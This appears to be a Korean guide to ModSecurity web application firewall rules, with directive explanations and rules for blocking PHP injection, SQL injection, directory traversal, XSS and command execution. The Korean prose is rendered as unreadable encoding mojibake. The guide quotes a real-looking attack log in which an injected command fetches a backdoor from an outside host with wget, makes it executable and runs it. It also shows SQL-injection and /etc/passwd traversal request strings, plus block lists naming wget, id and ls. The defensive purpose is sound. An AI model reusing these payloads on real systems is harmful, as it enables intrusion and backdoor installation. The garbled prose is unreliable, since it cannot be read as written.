¿äûÀÌ °ÅºÎµÇ¾úÀ» °æ¿ì HTTP »óŸ¦ Á¦°øÇÑ´Ù. ¿¹) SecFilter KEYWORD "deny,status:404" |
redirect |
ÇÊÅÍ°¡ ÀÏÄ¡ÇÏ¸é »ç¿ëÀÚ¸¦ ÁÖ¾îÁø URL·Î ¸®´ÙÀÌ·ºÆ® ½ÃŲ´Ù. ¿¹) SecFilter KEYWORD "redirect:http://www.krcert.or.kr/warn.html" |
exec |
ÇÊÅÍ°¡ ÀÏÄ¡Çϸé ƯÁ¤ ¹ÙÀ̳ʸ®¸¦ ½ÇÇà½ÃŲ´Ù. ½ÇÇàµÉ ÆÄÀÏÀº Àüü °æ·Î¸¦ ÁöÁ¤ÇØ ÁÖ¾î¾ß ÇÑ´Ù. ¿¹) SecFilter KEYWORD "exec:/home/ivanr/report-attack.pl" |
log |
¾ÆÆÄÄ¡ ¿¡·¯ ·Î±×(error_log)¿¡ ±â·ÏÇÑ´Ù. |
nolog |
ÇÊÅÍ°¡ ÀÏÄ¡Çصµ ±â·ÏÇÏÁö ¾ÊÀ¸¸ç, ¡°audit logging"µµ ÀϾÁö ¾Êµµ·Ï ÇÑ´Ù. |
pause |
¿äû¿¡ ´ëÇÑ ÀÀ´äÀ» Çϱâ Àü¿¡ Á¤ÀÇµÈ ¼ö milliseconds µ¿¾È ÁßÁö½ÃŲ´Ù. ÀÌ´Â À¥ ½ºÄ³³Ê¸¦ ´À¸®°Ô Çϰųª ¿ÏÀüÈ÷ ±³¶õ½ÃÅ´À¸·Î½á ½ºÄµ °ø°ÝÀ» ¾ïÁ¦½Ãų ¼öµµ ÀÖ´Ù. ¾î¶² ½ºÄ³³Ê´Â ÁßÁö ½Ã°£ÀÌ ³Ê¹« ±æ¸é ½ºÄ³´×À» Æ÷±âÇÑ´Ù. |
auditlog |
Æ®·£Á§¼Ç Á¤º¸¸¦ audit log(SecAuditLog Áö½ÃÀÚ¿¡ ÀÇÇØ ÆÄÀϸí ÁöÁ¤)¿¡ ±â·ÏÇÑ´Ù. |
noauditlog |
Æ®·£Á§¼Ç Á¤º¸¸¦ audit log¿¡ ±â·ÏÇÏÁö ¾Ê´Â´Ù. | SecFilterCheckURLEncoding On
Ư¼ö¹®ÀÚµéÀº URL¿¡ Àü¼ÛµÇ±â Àü¿¡ ÀÎÄÚµùµÉ ÇÊ¿ä°¡ ÀÖ´Ù. %XY(XY´Â 16Áø¼ö) ÇüÅÂÀÇ ¹®ÀÚµéÀº ÀÏ¹Ý ÅؽºÆ® ¹®ÀÚ·Î º¯È¯µÈ´Ù. | ³ª. »ç¿ëÀÚ Rule Á¤ÀÇ ÇÊÅ͸µ ¿£ÁøÀÌ È°¼ºÈµÇ¸é À¯ÀԵǴ ¸ðµç ¿äûÀÌ À¥¼¹ö¿¡ ÀÇÇØ Ã³¸®µÇ¾îÁö±â Àü¿¡ °¡·Îä¾îÁö°í ºÐ¼®µÇ¾îÁø´Ù. ¾Õ¼ ȯ°æ¼³Á¤ Áö½ÃÀڵ鿡 ÀÇÇØ À¥¿äû ÇüÅ°¡ À¯È¿ÇÑÁö µîÀÌ Á¡°ËµÈ ÈÄ µÎ ¹ø° ´Ü°è·Î À¥¿äûÀº ÀÏ·ÃÀÇ »ç¿ëÀÚ Á¤ÀÇ ÇÊÅ͸¦ °ÅÄ¡°Ô µÈ´Ù. »ç¿ëÀÚ¿¡ ÀÇÇØ Á¤ÀÇµÉ ¼ö ÀÖ´Â ´ëÇ¥ÀûÀÎ ÇÊÅ͵éÀº ´ÙÀ½°ú °°´Ù. SecFilter KEYWORD [ACTIONS]
°¡Àå ´Ü¼øÇÑ ÇüÅÂÀÇ ÇÊÅ͸µÀ¸·Î ƯÁ¤ Å°¿öµå¿¡ ÀÇÇÑ ÇÊÅ͸¦ Á¤ÀÇÇÒ ¼ö ÀÖ´Ù. SecFilter Áö½ÃÀÚ´Â À¥¿äûÀÇ Ã¹ ¹ø° ¶óÀο¡¼ ƯÁ¤ Å°¿öµå°¡ ÀÏÄ¡ÇÏ´ÂÁö Á¡°ËÇÏ°í, ¡°SecFilterScanPOST On¡° ¼³Á¤ÀÌ µÇ¾î ÀÖÀ» °æ¿ì¿¡´Â body±îÁö Á¡°ËÇÑ´Ù. ÀÌ ¶§ Å°¿öµå´Â ´ë¼Ò¹®ÀÚ¸¦ ±¸ºÐÇÏÁö ¾Ê´Â´Ù. ¸¸ÀÏ ¡°SecFilter /bin/sh¡±¿Í °°ÀÌ µð·ºÅ丮¸¦ Æ÷ÇÔÇÑ Å°¿öµå ÇÊÅ͸µÀ» ¼³Á¤ÇØ ³õ¾ÒÀ» °æ¿ì °ø°ÝÀڴ¡°/bin/./sh¡±¿Í °°ÀÌ ÇÊÅ͸¦ ¿ìȸÇÏ¿© °ø°ÝÇÒ ¼ö ÀÖ´Ù. µû¶ó¼, ModSecurity¿¡¼´Â ´ÙÀ½°ú °°ÀÌ °ø°ÝÀÚ°¡ ¿ìȸÇÒ ¼ö Àִ ƯÁ¤ ¹®ÀÚ¿À» ÀÚµ¿À¸·Î º¯È¯ÇÏ¿© Å°¿öµå ÇÊÅ͸µÀ» ¿ìȸÇÒ ¼ö ¾øµµ·Ï ÇÏ°í ÀÖ´Ù.
º¯È¯ Àü |
º¯È¯ ÈÄ |
ºñ°í |
\ |
/ |
À©µµ¿ì ½Ã½ºÅÛ¿¡¼ Àû¿ë |
/./ |
/ |
|
// |
/ |
|
URL ÀÎÄÚµùµÈ ¹®ÀÚ¿ |
URL µðÄÚµùµÈ ¹®ÀÚ¿ |
| Å°¿öµå´Â ´Ü¼øÇÑ text°¡ ¾Æ´Ñ Á¤±Ô Ç¥Çö½ÄÀ¸·Î ´Ù¾çÇÑ ÇÊÅÍ ±ÔÄ¢À» ¸¸µé¾î ³¾ ¼ö ÀÖ´Ù. Å°¿öµå¿¡¼¡°!¡± ¹®ÀÚ¸¦ ¸Ç ¾Õ¿¡ ³Ö¾î¼ Ç¥Çö½ÄÀ» ¹Ý´ë·Î Àû¿ëÇÒ ¼öµµ ÀÖ´Ù. °¡·É, ¡°SecFilter !php¡± °°ÀÌ ÇÏ¿© ¡°php" ¹®ÀÚ¸¦ Æ÷ÇÔÇÏÁö ¾Ê´Â ¸ðµç ¿äûÀº °ÅÀýÇÒ ¼öµµ ÀÖ´Ù. | SecFilterSelective LOCATION KEYWORD [ACTIONS]
¾Õ¼ SecFilter Áö½ÃÀÚ¸¦ ÀÌ¿ëÇÑ ÇÊÅ͸µÀº Àû¿ëÀÌ ³Ê¹« ±¤¹üÀ§ÇÑ ´ÜÁ¡ÀÌ ÀÖ´Ù. ÀÌ·¯ÇÑ ´ÜÁ¡À» º¸¿ÏÇÏ¿© ½ÇÁ¦ À¯¿ëÇÏ°Ô »ç¿ëµÉ ¼ö ÀÖ´Â Áö½ÃÀÚ°¡ SecFilterSelectiveÀÌ´Ù. ÀÌ Áö½ÃÀÚ´Â SecFilter Áö½ÃÀÚ¿¡¼ LOCATION ºÎºÐÀÌ Ãß°¡ µÇ¾ú´Âµ¥ ÇØ´ç Å°¿öµå¸¦ ¾î´À À§Ä¡¿¡¼ ãÀ» °ÍÀÎÁö ÁöÁ¤Çؼ º¸´Ù Á¤È®ÇÑ ÇÊÅ͸µÀ» ÇÒ ¼ö ÀÖµµ·Ï ÇÑ´Ù. LOCATION º¯¼ö´Â ´ÙÀ½°ú °°ÀÌ ÆÄÀÌÇÁ(|)·Î ±¸ºÐµÈ ÀÏ·ÃÀÇ À§Ä¡ È®ÀÎÀÚ·Î ±¸¼ºµÈ´Ù.
SecFilterSelective "REMOTE_ADDR|REMOTE_HOST" KEYWORD
À§ÀÇ ¿¹´Â Ŭ¶óÀ̾ðÆ®ÀÇ IP ÁÖ¼Ò¿Í È£½ºÆ® À̸§¿¡¸¸ Å°¿öµå°¡ Àû¿ëµÈ´Ù. À§Ä¡ È®ÀÎÀÚ¿¡ µé¾î°¥ ¼ö ÀÖ´Â °ÍÀº ´ÙÀ½°ú °°´Ù.
REMOTE_ADDR REMOTE_HOST REMOTE_USER REMOTE_IDENT REQUEST_METHOD SCRIPT_FILENAME PATH_INFO QUERY_STRING AUTH_TYPE DOCUMENT_ROOT |
SERVER_ADMIN SERVER_NAME SERVER_ADDR SERVER_PORT SERVER_PROTOCOL SERVER_SOFTWARE TIME_YEAR TIME_MON TIME_DAY TIME_HOUR |
TIME_MIN TIME_SEC TIME_WDAY TIME API_VERSION THE_REQUEST REQUEST_URI REQUEST_FILENAME IS_SUBREQ | ÀÌ ¿Ü¿¡µµ º¸´Ù Àü¹®ÀûÀÎ À§Ä¡ È®ÀÎÀڵ鵵 Á¸ÀçÇϴµ¥ ÀÌ´Â ModSecurityÀÇ ¸Å´º¾óÀ» ÂüÁ¶Çϱ⠹ٶõ´Ù. | SecFilterScanOutput On
¾ÆÆÄÄ¡ 2¿¡¼ ModSecurity´Â Ãâ·Â ÇÊÅ͸¦ Áö¿øÇÑ´Ù. µðÆúÆ®·Î ÀÌ ±â´ÉÀº ºñÈ°¼ºÈµÇ¾î ÀÖÀ¸¹Ç·Î À§¿Í °°ÀÌ È°¼ºÈ½ÃÄÑ ÁÖ¾î¾ß ÇÑ´Ù. ±âÁ¸ÀÇ ÀÔ·Â ÇÊÅÍ´Â À¥¿äûÀÌ ¾ÆÆÄÄ¡¿¡ ÀÇÇØ Ã³¸®µÇ±â ÀÌÀü¿¡ ½ÇÇàµÇÁö¸¸ Ãâ·Â ÇÊÅÍ´Â ¾ÆÆÄÄ¡¿¡ ÀÇÇØ À¥¿äûÀÌ Ã³¸® ¿Ï·áµÈ ÀÌÈÄ¿¡ ½ÇÇàµÈ´Ù.
À§¿Í °°ÀÌ Ãâ·Â ÇÊÅ͸¦ ¼³Á¤ÇÑ ÈÄ¿¡ ´ÙÀ½°ú °°ÀÌ ¡°OUTPUT" ÆĶó¸ÞÅ͸¦ »ç¿ëÇÏ¿© ƯÁ¤ Å°¿öµå¸¦ °¡Áø Ãâ·Â¿¡ ´ëÇØ ÇÊÅ͸µÀ» ÇÒ ¼ö ÀÖ´Ù. SecFilterSelective OUTPUT "Fatal error:" deny,status:500 ErrorDocument 500 /php-fatal-error.html ÀÌ¿Í °°ÀÌ °ø°ÝÀÚ°¡ °ø°Ý Á¤º¸·Î ÀÌ¿ëµÉ ¼ö ÀÖ´Â Á¤º¸³ª ƯÁ¤ ¸í·É¾î ½ÇÇà °á°ú µî CriticalÇÑ °á°ú°¡ ½ÇÇàµÇ¾î °ø°ÝÀÚ¿¡°Ô °á°ú°¡ Àü´ÞµÇ´Â °ÍÀ» Â÷´ÜÇÒ ¼ö ÀÖ´Ù.
Ãâ·Â ÇÊÅÍ´Â ÀÏ¹Ý Æò¹® text¿Í HTML Ãâ·Â¿¡ ´ëÇؼ¸¸ À¯¿ëÇϸç, À̹ÌÁö¿Í °°Àº ¹ÙÀ̳ʸ® ÄÁÅÙÃ÷¿¡ ´ëÇØ Á¤±Ô½ÄÀ» Àû¿ëÇÑ´Ù¸é ¼¹ö°¡ ´À·ÁÁú ¼ö ÀÖ´Ù. µðÆúÆ®·Î ModSecurity´Â ÄÁÅÙÃ÷ ŸÀÔÀ» °¡Áö°í ÀÖÁö ¾Ê°Å³ª ¡°text/plan" ¶Ç´Â ¡±text/html"À» ÄÁÅÙÃ÷ ŸÀÔÀ¸·Î °¡Áø Ãâ·Â¿¡ ´ëÇؼ¸¸ ½ºÄµÇÑ´Ù. ½ºÄµ ÇÏ°íÀÚ ÇÏ´Â ÄÁÅÙÃ÷ ŸÀÔÀ» ¹Ù²Ù°íÀÚ ÇÒ °æ¿ì¿¡´Â ¡°SecFilterOutputMimeTypes¡± Áö½ÃÀÚ¸¦ ÀÌ¿ëÇÑ´Ù. SecFilterOutputMimeTypes "(null) text/html text/plain" À§ÀÇ ¼³Á¤Àº ModSecurity°¡ Æò¹® text ÆÄÀÏ, HTML ÆÄÀÏ ±×¸®°í MIME ŸÀÔÀÌ Á¤ÀǵÇÁö ¾ÊÀº ÆÄÀϵ鿡 ´ëÇØ Ãâ·Â ÇÊÅ͸¦ Àû¿ëÇÏ°Ô ÇÑ´Ù.
Ãâ·Â ÇÊÅÍ´Â À¯¿ëÇÑ ±â´ÉÀ̶ó°í ÇÒ ¼ö ÀÖÁö¸¸ ¿Ïº®ÇÏÁö´Â ¸øÇÏ´Ù. °ø°ÝÀÚ°¡ ¸ð´ÏÅ͸µÇÏ°í ÀÖÁö ¾Ê´Â ÄÁÅÙÃ÷ ŸÀÔÀ¸·Î ¹Ù²Û´ÙµçÁö Ãâ·ÂÀ» ÀÎÄÚµùÇÏ´Â ¹æ¹ýÀ¸·Î ÇÊÅ͸¦ ¿ìȸÇÒ °¡´É¼ºÀÌ Á¸ÀçÇÑ´Ù. | ´Ù. ±âŸ Áö½ÃÀÚ SecUploadDir /tmp
ModSecurity´Â POST ¿äû°ú multipart/form-data ÀÎÄÚµùÀ» ÅëÇϰųª PUT ¿äûÀ» ÅëÇÑ ÆÄÀϾ÷·Îµå¸¦ °¡·Îä¾î Á¡°ËÇÒ ¼ö ÀÖ´Â ±â´ÉÀÌ ÀÖ´Ù. ModSecurity´Â Ç×»ó Àӽà µð·ºÅ丮¿¡ ÆÄÀϵéÀ» ¾÷·ÎµåÇÏ°Ô Çϴµ¥, À̶§ SecUploadDir Áö½ÃÀÚ¸¦ »ç¿ëÇÏ¿© Àӽà µð·ºÅ丮¸¦ ¼±ÅÃÇÒ ¼ö ÀÖ´Ù. | SecServerSignature "Microsoft-IIS/5.0"
À¥¼¹ö´Â ±âº»ÀûÀ¸·Î HTTP ÀÀ´ä¿¡ ¼¹öÀÇ Á¤º¸¸¦ ½Ç¾î¼ º¸³½´Ù. ÀÌ Á¤º¸´Â °ø°ÝÀÚµéÀÌ °ø°ÝÇϱâ À§ÇÑ ±âº» Á¤º¸°¡ µÉ ¼ö ÀÖ´Ù. µû¶ó¼, ÀÌ Á¤º¸¸¦ SecServerSignature Áö½ÃÀÚ¸¦ ÀÌ¿ëÇÏ¿© ¹Ù²ÞÀ¸·Î½á °ø°ÝÀÚ¸¦ È¥µ·½º·´°Ô ÇÒ ¼ö ÀÖ´Ù. | SecFilterDebugLog logs/modsec_debug_log
SecFilterDebugLog Áö½ÃÀÚ´Â µð¹ö±ë °á°ú¸¦ ¾îµð¿¡ ±â·ÏÇÒ °ÍÀÎÁö¸¦ Á¤ÀÇÇÑ´Ù. À§Ä¡¸¦ ÁöÁ¤ÇØ ÁÖ´Â ÆĶó¸ÞÅÍ°¡ ½½·¡½¬(/)·Î ½ÃÀÛÇÏÁö ¾ÊÀ¸¸é ¾ÆÆÄÄ¡ Ȩµð·ºÅ丮·Î ºÎÅÍÀÇ »ó´ë°æ·Î¸¦ ÀǹÌÇÑ´Ù. | SecFilterDebugLog logs/modsec_debug_log
SecFilterDebugLevel Áö½ÃÀÚ¸¦ »ç¿ëÇÏ¿© µð¹ö±ë ¼öÁØÀ» ¾ó¸¶³ª »ó¼¼ÇÏ°Ô ÇÒ °ÍÀÎÁö¸¦ °áÁ¤ÇÒ ¼ö ÀÖ´Ù. °úµµÇÑ µð¹ö±ë ¼öÁØÀº ºÒÇÊ¿äÇÑ ·Î±×¸¦ °ú´Ù »ý»êÇÒ ¼ö ÀÖÀ¸¹Ç·Î ¹®Á¦ ¹ß»ý½Ã µî Ưº°ÇÑ °æ¿ì¿¡¸¸ »ó¼¼ÇÑ µð¹ö±ëÀ» ÇÏ´Â °ÍÀÌ ¹Ù¶÷Á÷ÇÏ´Ù.
·¹º§ |
¼³¸í |
0 |
¾øÀ½ |
1 |
Áß¿ä À̺¥Æ®(error_log¿¡ ±â·ÏµÊ) |
2 |
Á¤º¸ ¸Þ½ÃÁö |
3 |
Á»´õ »ó¼¼ÇÑ Á¤º¸ ¸Þ½ÃÁö | | SecAuditEngine On SecAuditLog logs/audit_log
Ç¥ÁØ ¾ÆÆÄÄ¡ ·Î±ëÀº ƯÁ¤ »ç¿ëÀÚ³ª °ø°ÝÀÚ¸¦ ÃßÀûÇϱâ À§Çؼ ºÎÁ·ÇÑ ¸éÀÌ ÀÖ´Ù. ModSecurity ´Â SecAuditEngine Áö½ÃÀÚ¸¦ ÅëÇØ ¾ÆÆÄÄ¡ÀÇ ±âº» ·Î±× ÆÄÀÏ(access_log, error_log) º¸´Ù Á» ´õ »ó¼¼ÇÑ °ø°Ý °ü·Ã Á¤º¸¸¦ Á¦°øÇØ ÁÙ ¼ö ÀÖ´Ù. SecAuditEngineÀÌ »ç¿ëÇÒ ¼ö ÀÖ´Â ÆĶó¸ÞÅÍ´Â ´ÙÀ½°ú °°´Ù.
o On : ¸ðµç ¿äû¿¡ ´ëÇØ ·Î±×¸¦ ³²±è o Off : ¾î¶°ÇÑ ¿äû¿¡ ´ëÇؼµµ ·Î±×¸¦ ³²±âÁö ¾ÊÀ½ o RelevantOnly : ÇÊÅÍ¿¡ ÀÏÄ¡ÇÏ´Â ¿äû¿¡ ´ëÇؼ¸¸ ·Î±×¸¦ ³²±è | 4. ÁÖ¿ä À¥ °ø°Ýº° Rule ¼³Á¤ ¹× ModSecurity ÇÊÅ͸µ °á°ú ModSecurity´Â OWASP(http://www.owasp.org)¿¡ ¾ð±ÞµÈ ´ëºÎºÐÀÇ Ãë¾àÁ¡¿¡ ´ëÇØ ¹æ¾îÇÒ ¼ö ÀÖ´Â ±â´ÉÀ» °¡Áö°í ÀÖ´Ù. º» °í¿¡¼´Â ModSecurity°¡ ¼³Ä¡µÇ´Â ¾ÆÆÄÄ¡ À¥¼¹ö ȯ°æ¿¡¼ °¡Àå ¸¹ÀÌ ¹ß»ýµÇ°í ÀÖ´Â À¥°ø°ÝÀÎ PHP Injection¿¡ ´ëÇØ ¹æ¾îÇÒ ¼ö ÀÖ´Â ¼³Á¤ ¿¹¸¦ »ìÆ캸µµ·Ï ÇÑ´Ù. ¶ÇÇÑ, ÀÌ¿Ü¿¡µµ SQL Injection, XSS µî ÀϹÝÀûÀÎ À¥ °ø°Ý¿¡ ´ëÇؼµµ ¾î¶°ÇÑ ¼³Á¤ÀÌ ÇÊ¿äÇÑÁö ¾Ë¾Æº¸°í ½ÇÁ¦ °ø°ÝÀÌ Â÷´ÜµÈ °á°ú¸¦ »ìÆ캸µµ·Ï ÇÑ´Ù. - PHP Injection °ø°Ý ÃÖ±Ù ¾ÆÆÄÄ¡ À¥¼¹ö °ø°Ý¿¡ ¸¹ÀÌ ÀÌ¿ëµÇ°í ÀÖ´Â Á¦·Îº¸µå PHP Injection °ø°ÝÀÌ ¾î¶°ÇÑ ¹æ¹ýÀ¸·Î ÀÌ·ç¾îÁö´ÂÁö ´ÙÀ½ÀÇ °ø°Ý ·Î±×¸¦ ÅëÇØ È®ÀÎÇÒ ¼ö ÀÖ´Ù.
victim.com-access_log:xxx.xxx.239.56 - - [30/Aug/2005:06:23:06 +0900] "GET /bbs//include/write.php?dir=http://xx.xxx.br/cse.gif?&cmd=cd%20/tmp;wget%20http://www.xxx.com/0/r0nin;chmod%204777%20r0nin;./r0nin HTTP/1.1" 200 2066 | °ø°ÝÀÚ´Â Á¦·Îº¸µåÀÇ PHP Injection Ãë¾àÁ¡À» ÀÌ¿ëÇÏ¿© ºê¶óÁú »çÀÌÆ®¿¡ À§Ä¡ÇÑ ÇØÅ· ÇÁ·Î±×·¥À» ÇÇÇؽýºÅÛ¿¡¼ ½ÇÇà½ÃÄ×´Ù. ¶ÇÇÑ ÀÌ ÇØÅ·ÇÁ·Î±×·¥À» ÅëÇØ /tmp µð·ºÅ丮¿¡ "r0nin" À̶ó´Â ¹éµµ¾î ÇÁ·Î±×·¥À» ¼³Ä¡ÇÏ¿´´Ù. ÀÌ·¯ÇÑ °ø°ÝÀº ÃÖ±Ù ±¹³»¿¡¼ ´ë±Ô¸ð·Î ¹ß»ýµÇ°í ÀÖ´Â À¥ º¯Á¶ »ç°íÀÇ ÀüÇüÀûÀÎ ¿¹ÀÌ´Ù. ModSecurity¸¦ ÀÌ¿ëÇÏ¿© ÀÌ·¯ÇÑ ÇüÅÂÀÇ °ø°Ý¿¡ ´ëÇÑ Â÷´Ü ¹æ¾ÈÀ» ¾Ë¾Æº¸ÀÚ. ¸ÕÀú, °ø°ÝÀÚ°¡ ¿ÜºÎ »çÀÌÆ®·Î ºÎÅÍÀÇ ¼Ò½º ½ÇÇàÀ» ¸·°í, ¡°id", "wget" µî °ø°Ý¿¡ ÀÌ¿ëµÇ´Â ¸í·É »ç¿ëÀ» Â÷´ÜÇÑ´Ù.
# ÆĶó¸ÞÅÍ¿¡ URLÀÌ µé¾î ÀÖ´Â ¿äûÀ» Â÷´Ü SecFilterSignatureAction "log,deny,msg:'PHP Injection Attacks'" SecFilterSelective ARGS_VALUES "^http:/"
# ÆĶó¸ÞÅÍ¿¡ ¡°ls", "id", "pwd", "wget" µîÀÇ Å°¿öµå°¡ ÀÖÀ» °æ¿ì Â÷´Ü SecFilterSignatureAction "log,deny,msg:'Command execution attack'" SecFilterSelective ARGS_VALUES ";[[:space:]]*(ls|id|pwd|wget)"
# Ä¿¸Çµå ½ÇÇà °á°ú¸¦ Ãâ·Â ÇÊÅÍ¿¡¼ Â÷´Ü
# "id" ¸í·ÉÀÇ Ãâ·Â °á°ú Â÷´Ü SecFilterSelective OUTPUT "uid=[[:digit:]]+\([[:alnum:]]+\) gid=[[:digit:]]\([[:alnum:]]+\)"
# "ls -l" ¸í·ÉÀÇ Ãâ·Â °á°ú Â÷´Ü SecFilterSelective OUTPUT "total [[:digit:]]+"
# "wget" ¸í·ÉÀÇ Ãâ·Â °á°ú Â÷´Ü SecFilterSelective OUTPUT "HTTP request sent, awaiting response" | À§ÀÇ ¼³Á¤¿¡ ÀÇÇØ Á¦·Îº¸µåÀÇ PHP Injection Ãë¾àÁ¡À» °ø°ÝÇÏ¿´À» °æ¿ì ´ÙÀ½°ú °°ÀÌ Â÷´ÜµÇ´Â °ÍÀ» È®ÀÎÇÒ ¼ö ÀÖ´Ù.
[Mon Mar 06 10:07:25 2006] [error] [client xxx.xxx.222.28] mod_security: Access denied with code 403. Pattern match "^http:/" at ARGS_VALUES("dir") [msg "PHP Injection Attacks"] [hostname "victim_ip"] [uri "/new/bbs/include/write.php?dir=http://www.xxx.com.br/cse.gif?&cmd=id"] | ±× ¿Ü¿¡µµ Àü¿ªº¯¼ö GLOBALS¸¦ ÀÌ¿ëÇÑ °ø°ÝÀ» ¸·±â À§Çؼ´Â ´ÙÀ½°ú °°ÀÌ ¼³Á¤ÇÑ´Ù.
SecFilterSelective ARGS_NAMES "(^globals\[|^globals$)" | - SQL Injection °ø°Ý ÃÖ±Ù Áß±¹¹ß °ø°Ý µî ¸¹Àº °ø°ÝÀÌ SQL Injection Ãë¾àÁ¡À» ÀÌ¿ëÇÑ °ø°ÝÀÌ´Ù. ´ÙÀ½°ú °°ÀÌ DB Query ¸¦ ÅëÇØ DB¿¡ ´ëÇÑ »èÁ¦, Ãß°¡, ¿¶÷½Ãµµ µîÀ» Â÷´ÜÇÏ´Â °ÍÀÌ ¹Ù¶÷Á÷ÇÏ´Ù.
## SQL Injection Attacks
SecFilterSignatureAction "log,deny,msg:'SQL Injection attack'"
# Generic
SecFilterSelective ARGS "delete[[:space:]]+from"
SecFilterSelective ARGS "drop[[:space:]]+database"
SecFilterSelective ARGS "drop[[:space:]]+table"
SecFilterSelective ARGS "drop[[:space:]]+column"
SecFilterSelective ARGS "drop[[:space:]]+procedure"
SecFilterSelective ARGS "create[[:space:]]+table"
SecFilterSelective ARGS "update.+set.+="
SecFilterSelective ARGS "insert[[:space:]]+into.+values"
SecFilterSelective ARGS "select.+from"
SecFilterSelective ARGS "bulk[[:space:]]+insert"
SecFilterSelective ARGS "union.+select"
SecFilterSelective ARGS "or.+1[[:space:]]*=[[:space:]]1"
SecFilterSelective ARGS "alter[[:space:]]+table"
SecFilterSelective ARGS "or 1=1--'"
SecFilterSelective ARGS "'.+--"
# MySQL
SecFilterSelective ARGS "into[[:space:]]+outfile"
SecFilterSelective ARGS "load[[:space:]]+data
SecFilterSelective ARGS "/\*.+\*/"
| À§ÀÇ ¼³Á¤¿¡ ÀÇÇØ SQL Injection °ø°Ý½Ãµµ°¡ ¾Æ·¡¿Í °°ÀÌ Â÷´ÜµÈ´Ù.
Mon Mar 06 09:57:11 2006] [error] [client xxx.xxx.222.28] mod_security: Warning. Pattern match
"delete[[:space:]]+from" at QUERY_STRING [msg "SQL Injection attack"] [hostname "victim_ip"]
[uri "/new/bbs/zboard.php?id=bbs&no=24'delete%20from"]
| - Directory traversal °ø°Ý ÀϹÝÀûÀÎ À¥ ¿äû¿¡¼ ¡°../¡±¿Í °°Àº °æ·Î´Â ÇÊ¿äÄ¡ ¾Ê´Ù. ÀÌ´Â À¥À» ÅëÇØ /etc/passwd¿Í °°ÀÌ ºñ Á¤»óÀûÀÎ À¥¿äûÀ» À§ÇÑ °æ¿ì°¡ ¸¹À¸¹Ç·Î Â÷´ÜÇÏ´Â °ÍÀÌ ¹Ù¶÷Á÷ÇÏ´Ù. ¡°../¡±¸¦ Â÷´ÜÇϱâ À§ÇØ ´ÙÀ½°ú °°Àº ¼³Á¤À» ÇÑ´Ù.
À§ÀÇ ¼³Á¤¿¡ ÀÇÇØ directory traversal °ø°Ý ½Ãµµ½Ã ´ÙÀ½°ú °°ÀÌ Â÷´ÜµÇ´Â °ÍÀ» È®ÀÎÇÒ ¼ö ÀÖ´Ù.
[Mon Mar 06 09:52:00 2006] [error] [client xxx.xxx.222.28] mod_security: Access denied with code
403. Error normalising REQUEST_URI: Invalid character detected[0] [hostname "victim_ip"] [uri
"/cgi-bin/quickstore.cgi?page=../../../../../../../../../../etc/passwd%00html&cart_id="]
| - XSS(Cross Site Scripting) °ø°Ý XSS´Â À¥ ÆäÀÌÁö¿¡ JavaScript¿Í °°Àº ¾Ç¼º ½ºÅ©¸³Æ®¸¦ »ðÀÔÇÏ¿© ´Ù¸¥ À¥ Á¢¼ÓÀÚ°¡ À̸¦ ½ÇÇà½ÃÅ°°Ô ÇÏ´Â °ø°ÝÀÌ´Ù. ÀÌ °ø°Ý¿¡ ´ëÇÑ ¹æ¾î´Â ÆĶó¸ÞÅÍ ÇÊÅ͸µÀε¥ ´ÙÀ½°ú °°ÀÌ ¼³Á¤ÇÒ ¼ö ÀÖ´Ù.
SecFilterSignatureAction "log,deny,msg:'XSS attack'"
SecFilterSelective ARGS " | À§ÀÇ ¿¹´Â ÀÚ¹Ù½ºÅ©¸³Æ®, ºñÁÖ¾óº£ÀÌÁ÷ ½ºÅ©¸³Æ® µî ½ºÅ©¸³Æ® Äڵ带 Â÷´ÜÇÏ°í, ½ºÅ©¸³Æ®¿¡ ÀÇÇØ ÄíÅ° Á¤º¸°¡ ³ëÃâµÇ´Â °ÍÀ» ¹æÁöÇÏ°í ÀÖ´Ù. XSS °ø°Ý ½Ãµµ°¡ ´ÙÀ½°ú °°ÀÌ Â÷´ÜµÇ´Â °ÍÀ» È®ÀÎÇÒ ¼ö ÀÖ´Ù.
[Mon Mar 06 09:51:55 2006] [error] [client xxx.xxx.222.28] mod_security: Access denied
with code 403. Pattern match "^$" at HEADER("Accept") [hostname "victim_ip"] [uri
"/cgi-bin/auction/auction.cgi?action=Sort_Page&View=Search&Page=0&Cat_ID=&Lang=Engli
sh&Search=All&Terms=&Where=&Sort=Photo&Dir="]
| - ½Ã½ºÅÛ ¸í·É¾î ½ÇÇà °ø°ÝÀÚ´Â À¥À» ÅëÇØ ½Ã½ºÅÛ µð·ºÅ丮ÀÇ ¹ÙÀ̳ʸ® ÆÄÀÏÀ» ½ÇÇàÇÏ´Â °æ¿ì°¡ ÀÖ´Ù. µû¶ó¼ À¥¿äû¿¡ ´ÙÀ½°ú °°ÀÌ "bin/" Å°¿öµå°¡ ÀÖÀ» °æ¿ì³ª ¡°ls", "id", "pwd", "wget" µî °ø°Ý¿¡ ¸¹ÀÌ ÀÌ¿ëµÇ°í ÀÖ´Â ½Ã½ºÅÛ ¸í·ÉÀ» Â÷´Ü½ÃŲ´Ù.
SecFilterSelective ARGS "bin/"
SecFilterSelective ARGS_VALUES ";[[:space:]]*(ls|id|pwd|wget)"
| - ¹öÆÛ¿À¹öÇÃ·Î¿ì °ø°Ý ¹öÆÛ¿À¹öÇÃ·Î¿ì °ø°ÝÀº ÀԷ°ªÀÇ Å©±â¸¦ Á¦ÇÑÇÏÁö ¾Ê¾Æ ÀÔ·Â ¹öÆÛ¸¦ ³ÑÄ¡°Ô ÇÏ¿© ƯÁ¤ Äڵ带 ½ÇÇàÇÏ°Ô ÇÏ´Â °ø°ÝÀÌ´Ù. µû¶ó¼ ´ÙÀ½°ú °°ÀÌ »ç¿ëÀÚ ¿äû ½ºÆ®¸µÀÇ Å©±â¸¦ Á¦ÇÑÇÏ¿© À̸¦ ¹æ¾îÇÒ ¼ö ÀÖ´Ù.
- ÆÄÀÏ ¾÷·Îµå ÆÄÀÏ ¾÷·Îµå¸¦ Á¦ÇÑÇÏ°í ƯÁ¤ Æú´õ¿¡¼¸¸ ÆÄÀÏ ¾÷·Îµå¸¦ Çã¿ëÇÒ ¼ö ÀÖ´Ù. ¾Æ·¡ ¿¹¿¡¼´Â ¡°/upload.php" ÀÌÇÏ¿¡¼¸¸ ÆÄÀÏ ¾÷·Îµå°¡ °¡´ÉÇÏ´Ù.
SecFilterSelective HTTP_CONTENT_TYPE multipart/form-data
SecFilterInheritance Off
